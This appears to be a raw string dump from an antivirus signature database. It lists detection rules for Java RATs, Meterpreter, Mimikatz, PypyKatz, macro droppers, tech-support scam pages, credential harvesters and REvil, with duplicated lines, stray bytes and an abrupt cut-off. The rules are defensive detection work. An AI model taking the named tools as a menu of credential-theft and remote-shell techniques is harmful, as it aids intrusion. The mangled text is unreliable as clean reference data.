V!#AGGR:Tobeet_Msil_1EFCCCA2pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_CD3D81BD 
!#AGGR:Tobeet_Msil_270647FBpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:MSIL/Malicious.Decryption.A 
V!#AGGR:Tobeet_Msil_270647FBpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:MSIL/Malicious.Decryption.A 
!#AGGR:Tobeet_Msil_7ECD5743pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:VirTool:MSIL/Obfuscator.S06 
V!#AGGR:Tobeet_Msil_7ECD5743pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:VirTool:MSIL/Obfuscator.S06 
!#AGGR:Tobeet_Msil_B76B6839pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 
V!#AGGR:Tobeet_Msil_B76B6839pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 !#ALF:AGGR:HTML/TechTitle.ASCRIPT:HTML/TechTitle.A&
(SCRIPT:HTML/TechMsgTollfree.A|SCRIPT:HTML/TechMsgLeavePage.D) V!#ALF:AGGR:HTML/TechTitle.ASCRIPT:HTML/TechTitle.A&
(SCRIPT:HTML/TechMsgTollfree.A|SCRIPT:HTML/TechMsgLeavePage.D) 
!#TEL:Trojan:Java/Jrat.G!wimLua:Java.SuspiciousCrypter.JRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
U!#TEL:Trojan:Java/Jrat.G!wimLua:Java.SuspiciousCrypter.JRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
!#TEL:Trojan:Java/Jrat.H!wimLua:Java.SuspiciousCrypter.JRAT.C&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
U!#TEL:Trojan:Java/Jrat.H!wimLua:Java.SuspiciousCrypter.JRAT.C&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
!#TEL:Trojan:Java/Jrat.J!wimLua:Java.SuspiciousCrypter.JRAT.E&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
U!#TEL:Trojan:Java/Jrat.J!wimLua:Java.SuspiciousCrypter.JRAT.E&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
!#TEL:Trojan:Java/Jrat.L!wimLua:Java.SuspiciousCrypter.JRAT.G&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
U!#TEL:Trojan:Java/Jrat.L!wimLua:Java.SuspiciousCrypter.JRAT.G&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
!#TEL:Trojan:Java/Qrat.A!wimLua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
U!#TEL:Trojan:Java/Qrat.A!wimLua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
!#//AGGR:JarFileWithMoreThan100ClassBM_ZIP_FILE&Lua:JARExt&Lua:MoreThan100FilesFoldersInZip&LUA:FileSizeGT80000.A 
u$M!#//AGGR:JarFileWithMoreThan100ClassBM_ZIP_FILE&Lua:JARExt&Lua:MoreThan100FilesFoldersInZip&LUA:FileSizeGT80000.A 
!#HackTool:PowerShell/Powersploit!LowfiHackTool:PowerShell/Mikatz.1!Lowfi&HackTool:PowerShell/Powersploit.2!Lowfi 
u'J!#HackTool:PowerShell/Powersploit!LowfiHackTool:PowerShell/Mikatz.1!Lowfi&HackTool:PowerShell/Powersploit.2!Lowfi 
!#ALF:IOAVTopLevelRarHasFileWithExeExtensionRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileWithExeExtension 
u,E!#ALF:IOAVTopLevelRarHasFileWithExeExtensionRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileWithExeExtension 
!#SLFPER:Trojan:Win32/Meterpreter!ole32_APIsHSTR:Win32/Meterpreter!ole32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval 
u,E!#SLFPER:Trojan:Win32/Meterpreter!ole32_APIsHSTR:Win32/Meterpreter!ole32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval 
!#SLF:Lua/ContextFifonia.B!locallowappdata_dllRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_dll 
u.C!#SLF:Lua/ContextFifonia.B!locallowappdata_dllRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_dll 
!#SLF:Lua/ContextFifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_exe 
u.C!#SLF:Lua/ContextFifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextFileInFirstFolder.B!locallowappdata_exe 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_odtLua:OfficeExtractedFileInZip.A!rar_odt&MHSTR:MacroInside 
u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_odtLua:OfficeExtractedFileInZip.A!rar_odt&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_xmlLua:OfficeExtractedFileInZip.A!rar_xml&MHSTR:MacroInside 
u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_xmlLua:OfficeExtractedFileInZip.A!rar_xml&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_odtLua:OfficeExtractedFileInZip.A!zip_odt&MHSTR:MacroInside 
u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_odtLua:OfficeExtractedFileInZip.A!zip_odt&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_xmlLua:OfficeExtractedFileInZip.A!zip_xml&MHSTR:MacroInside 
u98!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_xmlLua:OfficeExtractedFileInZip.A!zip_xml&MHSTR:MacroInside 
!#AGGR:Tobeet_Msil_165C791CHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 
W!#AGGR:Tobeet_Msil_165C791CHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&ATTRIBUTE:SIGA:MSIL:EMAIL:S1 
!#AGGR:Tobeet_Msil_ECAF0AEBHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:VirTool:Win32/AscUrlExe 
W!#AGGR:Tobeet_Msil_ECAF0AEBHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:VirTool:Win32/AscUrlExe 
!#TEL:AGGR:HTML/TechBrolo.BISCRIPT:JS/RequestFullScreen.A&(SCRIPT:JS/TechAlertCode.C|SCRIPT:JS/TechMsgAlertCode.A) 
V!#TEL:AGGR:HTML/TechBrolo.BISCRIPT:JS/RequestFullScreen.A&(SCRIPT:JS/TechAlertCode.C|SCRIPT:JS/TechMsgAlertCode.A) 
!#TEL:SupportScam:JS/TechBrolo.ESCRIPT:JS/TechMsgVarCode.B&(SCRIPT:JS/TechMsgVarCode.A|SCRIPT:JS/TechMsgVarCode.C) v 
R!#TEL:SupportScam:JS/TechBrolo.ESCRIPT:JS/TechMsgVarCode.B&(SCRIPT:JS/TechMsgVarCode.A|SCRIPT:JS/TechMsgVarCode.C) 
!#AGGR:Program:Win32/NSISChecksDeepFreeze(HSTR:NSIS_Installer|HSTR:NSIS.gen!A)&HSTR:Program:Win32/ChecksDeepFreeze 
v)I!#AGGR:Program:Win32/NSISChecksDeepFreeze(HSTR:NSIS_Installer|HSTR:NSIS.gen!A)&HSTR:Program:Win32/ChecksDeepFreeze 
!#TEL:SCRIPT/WmiLaunchCertutil_Urlcache.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchCertutil_Urlcache 
v)I!#TEL:SCRIPT/WmiLaunchCertutil_Urlcache.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchCertutil_Urlcache 
!#ALF:IOAVTopLevelRarWithFileNameWithPasswordRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileNameWithPassword v-
E!#ALF:IOAVTopLevelRarWithFileNameWithPasswordRPF:AnyFileHasIOAVURL&RPF:TopLevelFile&Lua:RarHasFileNameWithPassword 
!#SLF:Python/PypyKatz.ASCRIPT:PypyKatz!helper1&SCRIPT:PypyKatz!helper2&SCRIPT:PypyKatz!commons&SCRIPT:PypyKatz!args 
\\!#SLF:Python/PypyKatz.ASCRIPT:PypyKatz!helper1&SCRIPT:PypyKatz!helper2&SCRIPT:PypyKatz!commons&SCRIPT:PypyKatz!args 
!#AGGR:Tobeet_Msil_79F0F8AFpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/ClassRijndaelManaged.A&HSTR:MSIL/Confuser 
X!#AGGR:Tobeet_Msil_79F0F8AFpea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/ClassRijndaelManaged.A&HSTR:MSIL/Confuser 
!#TEL:Trojan:VBS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileVBSInZip&Lua:ContextVBSDoubleExtension 
X!#TEL:Trojan:VBS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileVBSInZip&Lua:ContextVBSDoubleExtension 
!#TEL:TrojanDropper:JS/Tetomek.ASCRIPT:JS/TetomekSpecialFolders.A&(SCRIPT:JS/TetomekOpen.A|SCRIPT:JS/TetomekOpen.B) w 
S!#TEL:TrojanDropper:JS/Tetomek.ASCRIPT:JS/TetomekSpecialFolders.A&(SCRIPT:JS/TetomekOpen.A|SCRIPT:JS/TetomekOpen.B) 
!#TEL:TrojanDownloader:JS/Tisifi.DLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:FileInZip&SuspiciousJSfilename 
w\"Q!#TEL:TrojanDownloader:JS/Tisifi.DLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:FileInZip&SuspiciousJSfilename 
!#AGGR:Torrent:Win32/TransmissionTorrentHSTR:Torrent:Win32/TransmissionTorrent|PUA:Torrent:CERT:TransmissionTorrent 
w(K!#AGGR:Torrent:Win32/TransmissionTorrentHSTR:Torrent:Win32/TransmissionTorrent|PUA:Torrent:CERT:TransmissionTorrent 
!#SLFPER:Trojan:Win32/Meterpreter!ws2_32_APIsHSTR:Win32/Meterpreter!ws2_32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval w-
F!#SLFPER:Trojan:Win32/Meterpreter!ws2_32_APIsHSTR:Win32/Meterpreter!ws2_32_APIs&HSTR:Win32/Meterpreter!ApiRetrieval 
!#SLFPER:Trojan:Win64/Meterpreter!ws2_32_APIsHSTR:Win64/Meterpreter!ws2_32_APIs&HSTR:Win64/Meterpreter!ApiRetrieval w-
F!#SLFPER:Trojan:Win64/Meterpreter!ws2_32_APIsHSTR:Win64/Meterpreter!ws2_32_APIs&HSTR:Win64/Meterpreter!ApiRetrieval 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_odtLua:OfficeExtractedFileInZip.A!7zip_odt&MHSTR:MacroInside 
w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_odtLua:OfficeExtractedFileInZip.A!7zip_odt&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_xmlLua:OfficeExtractedFileInZip.A!7zip_xml&MHSTR:MacroInside 
w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_xmlLua:OfficeExtractedFileInZip.A!7zip_xml&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_wordLua:OfficeExtractedFileInZip.A!rar_word&MHSTR:MacroInside 
w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_wordLua:OfficeExtractedFileInZip.A!rar_word&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_odtLua:OfficeExtractedFileInZip.A!wzip_odt&MHSTR:MacroInside 
w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_odtLua:OfficeExtractedFileInZip.A!wzip_odt&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_xmlLua:OfficeExtractedFileInZip.A!wzip_xml&MHSTR:MacroInside 
w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_xmlLua:OfficeExtractedFileInZip.A!wzip_xml&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_wordLua:OfficeExtractedFileInZip.A!zip_word&MHSTR:MacroInside 
w:9!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_wordLua:OfficeExtractedFileInZip.A!zip_word&MHSTR:MacroInside 
!#TEL:Starter.P!shellSCRIPT:Starter.P!shell1|SCRIPT:Starter.P!shell2|SCRIPT:Starter.P!shell3|SCRIPT:Starter.P!shell4 
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!#TEL:Starter.P!shellSCRIPT:Starter.P!shell1|SCRIPT:Starter.P!shell2|SCRIPT:Starter.P!shell3|SCRIPT:Starter.P!shell4 
_!#TEL:Starter.P!shellSCRIPT:Starter.P!shell1|SCRIPT:Starter.P!shell2|SCRIPT:Starter.P!shell3|SCRIPT:Starter.P!shell4 
!#AGGR:Tobeet_Msil_04AAD51BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_7D94E821 
Y!#AGGR:Tobeet_Msil_04AAD51BHSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_7D94E821 
!#AGGR:Tobeet_Msil_1B60B7CCHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_691D8306 
Y!#AGGR:Tobeet_Msil_1B60B7CCHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_691D8306 
!#AGGR:Tobeet_Msil_32386C9EHSTR:VirTool:Win32/VBInject.gen!AN.2&HSTR:Win32/PossibleKeylogger.B2&HSTR:Tobeet_73500EEA 
Y!#AGGR:Tobeet_Msil_32386C9EHSTR:VirTool:Win32/VBInject.gen!AN.2&HSTR:Win32/PossibleKeylogger.B2&HSTR:Tobeet_73500EEA 
!#AGGR:Tobeet_Msil_374CFA89HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 
Y!#AGGR:Tobeet_Msil_374CFA89HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 
!#AGGR:Tobeet_Msil_44BA92C8HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 
Y!#AGGR:Tobeet_Msil_44BA92C8HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_B92F0590 
!#AGGR:Tobeet_Msil_48DA07A3HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 
Y!#AGGR:Tobeet_Msil_48DA07A3HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:Tobeet_Msil_D089F745 
!#AGGR:Tobeet_Msil_50E8A481HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_2AB9207D 
Y!#AGGR:Tobeet_Msil_50E8A481HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_2AB9207D 
!#AGGR:Tobeet_Msil_9F320385HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_C92B42E3 
Y!#AGGR:Tobeet_Msil_9F320385HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_C92B42E3 
!#AGGR:Tobeet_Msil_C9232DEDpea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_D30D3546 
Y!#AGGR:Tobeet_Msil_C9232DEDpea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_D30D3546 
!#AGGR:Tobeet_Msil_D0492770HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_5F70D070 
Y!#AGGR:Tobeet_Msil_D0492770HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:Tobeet_Msil_5F70D070 
!#AGGR:Tobeet_Msil_DCD66CE4HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:PossibleDownloader.A 
Y!#AGGR:Tobeet_Msil_DCD66CE4HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:PossibleDownloader.A 
!#AGGR:Tobeet_Msil_E8DF44A7pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_AC2BC191 
Y!#AGGR:Tobeet_Msil_E8DF44A7pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/NameSpace.CompilerServices.A&HSTR:Tobeet_AC2BC191 
!#TEL:AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&SCRIPT:HTML/TechMsgSubject.A&SCRIPT:HTML/TechMsgTollfree.A 
W!#TEL:AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&SCRIPT:HTML/TechMsgSubject.A&SCRIPT:HTML/TechMsgTollfree.A 
!#SLF:Lua/ContextSafifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextSameFileFolderName.B!locallowappdata_exe 
x0D!#SLF:Lua/ContextSafifonia.B!locallowappdata_exeRPF:TopLevelFile&Lua:ContextSameFileFolderName.B!locallowappdata_exe !#AGGR:ZwangiNsisHSTR:NSIS_Installer&
(HSTR:ZwangiUrlArgs|HSTR:Zwangi_NSISStrings|STATIC:ZwangiBmp|HSTR:ZwangiDomains) d!#AGGR:ZwangiNsisHSTR:NSIS_Installer&
(HSTR:ZwangiUrlArgs|HSTR:Zwangi_NSISStrings|STATIC:ZwangiBmp|HSTR:ZwangiDomains) 
!#TEL:Trojan:Java/Qrat.AInEmail&Lua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
]!#TEL:Trojan:Java/Qrat.AInEmail&Lua:Java.SuspiciousCrypter.QRAT.B&SIGATTR:Java:Cipher.doFinal&!AGGR:CombinedJavaClass 
!#AGGR:Tobeet_Msil_0659D9BBpea_ismsil&HSTR:MSIL/Obfuscator.Confuser.C&HSTR:MSIL/PossibleKeylogger.A5&LUA:SuspVerinfo1 
Z!#AGGR:Tobeet_Msil_0659D9BBpea_ismsil&HSTR:MSIL/Obfuscator.Confuser.C&HSTR:MSIL/PossibleKeylogger.A5&LUA:SuspVerinfo1 
!#AGGR:Tobeet_Msil_17B6A0ADHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_326AB74D 
Z!#AGGR:Tobeet_Msil_17B6A0ADHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_326AB74D 
!#AGGR:Tobeet_Msil_476469E2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo1&HSTR:Tobeet_Msil_5741E837 
Z!#AGGR:Tobeet_Msil_476469E2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo1&HSTR:Tobeet_Msil_5741E837 
!#AGGR:Tobeet_Msil_4B753B36HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_EF8EE190 
Z!#AGGR:Tobeet_Msil_4B753B36HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_EF8EE190 
!#AGGR:Tobeet_Msil_56A1F829pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:CoinMiner!bit 
Z!#AGGR:Tobeet_Msil_56A1F829pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo&HSTR:CoinMiner!bit 
!#AGGR:Tobeet_Msil_61EF0742HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_1F6F7011 
Z!#AGGR:Tobeet_Msil_61EF0742HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&HSTR:AutoAttrMsil_1F6F7011 
!#AGGR:Tobeet_Msil_697F93B7pea_ismsil&HSTR:InstallerFile&LUA:SuspVerinfo1&HSTR:Win32/WMI.Class.Win32_ComputerSystem.A 
Z!#AGGR:Tobeet_Msil_697F93B7pea_ismsil&HSTR:InstallerFile&LUA:SuspVerinfo1&HSTR:Win32/WMI.Class.Win32_ComputerSystem.A 
!#AGGR:Tobeet_Msil_981B20B9HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&RANSMATTR:PeLodNoException 
Z!#AGGR:Tobeet_Msil_981B20B9HSTR:MSIL.MyNamespace&pea_ismsil&HSTR:MSIL/PossibleKeylogger.A5&RANSMATTR:PeLodNoException 
!#AGGR:Tobeet_Msil_9996C614HSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&AGGR:Lua:MSIL:FrameworkV4&SIGATTR:DropMZ 
Z!#AGGR:Tobeet_Msil_9996C614HSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&AGGR:Lua:MSIL:FrameworkV4&SIGATTR:DropMZ 
!#AGGR:Tobeet_Msil_E852EDDEHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_8AE2833D 
Z!#AGGR:Tobeet_Msil_E852EDDEHSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&HSTR:AutoAttrMsil_8AE2833D 
!#AGGR:Tobeet_Msil_FB773CB2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&VirTool:MSIL/Obfuscator.AO 
Z!#AGGR:Tobeet_Msil_FB773CB2HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV2&LUA:SuspVerinfo&VirTool:MSIL/Obfuscator.AO 
!#SLF:AsmblyLoadInvoke!amsiSCRIPT:assemblyload&SCRIPT:PS/WebDlData.A&SCRIPT:PS/GetTypeMetInv.A&MpIsPowerShellAMSIScan 
Z!#SLF:AsmblyLoadInvoke!amsiSCRIPT:assemblyload&SCRIPT:PS/WebDlData.A&SCRIPT:PS/GetTypeMetInv.A&MpIsPowerShellAMSIScan 
!#PUA:Staged:CertificatesGBLPUA:PoorCertRep:NewCandidates|PUA:PoorCertRep:ML1|PUA:PoorCertRep:ML2|PUA:PoorCertRep:ML3 
Y!#PUA:Staged:CertificatesGBLPUA:PoorCertRep:NewCandidates|PUA:PoorCertRep:ML1|PUA:PoorCertRep:ML2|PUA:PoorCertRep:ML3 
!#ALF:Trojan:Win32/Pchild10.AVirTool:Win32/Pchild10.keya&VirTool:Win32/Pchild10.keyb&VirTool:Win32/Pchild10.delimeter 
X!#ALF:Trojan:Win32/Pchild10.AVirTool:Win32/Pchild10.keya&VirTool:Win32/Pchild10.keyb&VirTool:Win32/Pchild10.delimeter 
!#ALFPER:AGGR:Win32/Sasquor.BLua:SasquorFileName.A&!Clean:Confident:Cert:Unvalidated&!Clean:Confident:Cert:NotChecked 
X!#ALFPER:AGGR:Win32/Sasquor.BLua:SasquorFileName.A&!Clean:Confident:Cert:Unvalidated&!Clean:Confident:Cert:NotChecked 
!#TEL:Trojan:Win32/Tisifi.ECALua:ContextualDropFileByEmailClient&Lua:SingleFileExeInZip&Lua:ContextEXEDoubleExtension 
X!#TEL:Trojan:Win32/Tisifi.ECALua:ContextualDropFileByEmailClient&Lua:SingleFileExeInZip&Lua:ContextEXEDoubleExtension 
!#TEL:PWS:HTML/STRCredHarv.A!dhaSCPT:STRCredHarv1&SCPT:STRCredHarv2&SCPT:STRCredHarv3&SCPT:STRCredHarv4&SCPT:HTMLFile y 
U!#TEL:PWS:HTML/STRCredHarv.A!dhaSCPT:STRCredHarv1&SCPT:STRCredHarv2&SCPT:STRCredHarv3&SCPT:STRCredHarv4&SCPT:HTMLFile 
!#AllowList:Aggr/InternalSkypeToolHSTR:SkypeTool_1&LUA:FileSizeGT8M.A&Path:DriveNonC&HSTR:PyInstaller_Packaged_Script 
y\"S!#AllowList:Aggr/InternalSkypeToolHSTR:SkypeTool_1&LUA:FileSizeGT8M.A&Path:DriveNonC&HSTR:PyInstaller_Packaged_Script 
!#AGGR:VirTool:Win32/NSISInjector.ASCRIPT:VirTool:Win32/NSISInjector.A!param&SCRIPT:VirTool:Win32/NSISInjector.A!file 
y#R!#AGGR:VirTool:Win32/NSISInjector.ASCRIPT:VirTool:Win32/NSISInjector.A!param&SCRIPT:VirTool:Win32/NSISInjector.A!file 
!#AGGREGATOR:LowfiDelfCPLWithException(!HSTR:DelfCPLException)&MpCPlApplet&(HSTR:Win32/DelphiFile|SIGATTR:DelphiFile) 
y&O!#AGGREGATOR:LowfiDelfCPLWithException(!HSTR:DelfCPLException)&MpCPlApplet&(HSTR:Win32/DelphiFile|SIGATTR:DelphiFile) 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_wordLua:OfficeExtractedFileInZip.A!7zip_word&MHSTR:MacroInside 
y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!7zip_wordLua:OfficeExtractedFileInZip.A!7zip_word&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_excelLua:OfficeExtractedFileInZip.A!rar_excel&MHSTR:MacroInside 
y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!rar_excelLua:OfficeExtractedFileInZip.A!rar_excel&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_wordLua:OfficeExtractedFileInZip.A!wzip_word&MHSTR:MacroInside 
y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!wzip_wordLua:OfficeExtractedFileInZip.A!wzip_word&MHSTR:MacroInside 
!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_excelLua:OfficeExtractedFileInZip.A!zip_excel&MHSTR:MacroInside 
y;:!#SLFPER:O97M/OfficeWithMacroExtractedFileInZip.A!zip_excelLua:OfficeExtractedFileInZip.A!zip_excel&MHSTR:MacroInside !#AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&
(SCRIPT:JS/TechAudioLoopTag.A|SCRIPT:JS/TechUnloadBrowserCode.A) ]!#AGGR:JS/TechAlertCode.ASCRIPT:JS/TechMsgAlertCode.A&
(SCRIPT:JS/TechAudioLoopTag.A|SCRIPT:JS/TechUnloadBrowserCode.A) 
!#ATTR:MACE:ShouldDetonateDetection:Ransom:Win32/Revil.A|Detection:Ransom:Win32/Revil.B|Detection:Ransom:Win32/Revil.C 
\\!#ATTR:MACE:ShouldDetonateDetection:Ransom:Win32/Revil.A|Detection:Ransom:Win32/Revil.B|Detection:Ransom:Win32/Revil.C 
!#AGGR:Tobeet_Msil_40B079B8pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&SIGATTR:MSIL/AVChk 
[!#AGGR:Tobeet_Msil_40B079B8pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&SIGATTR:MSIL/AVChk 
!#SLFPER:UnsignedPETopLevelIOAVRPF:PEHasIOAVURL&RPF:TopLevelFile&!PEPCODE:HasDigitalSignature&!Lua:IOAVBrowserUtorrent 
W!#SLFPER:UnsignedPETopLevelIOAVRPF:PEHasIOAVURL&RPF:TopLevelFile&!PEPCODE:HasDigitalSignature&!Lua:IOAVBrowserUtorrent !#TEL:Exploit:O97M/CVE-2017-
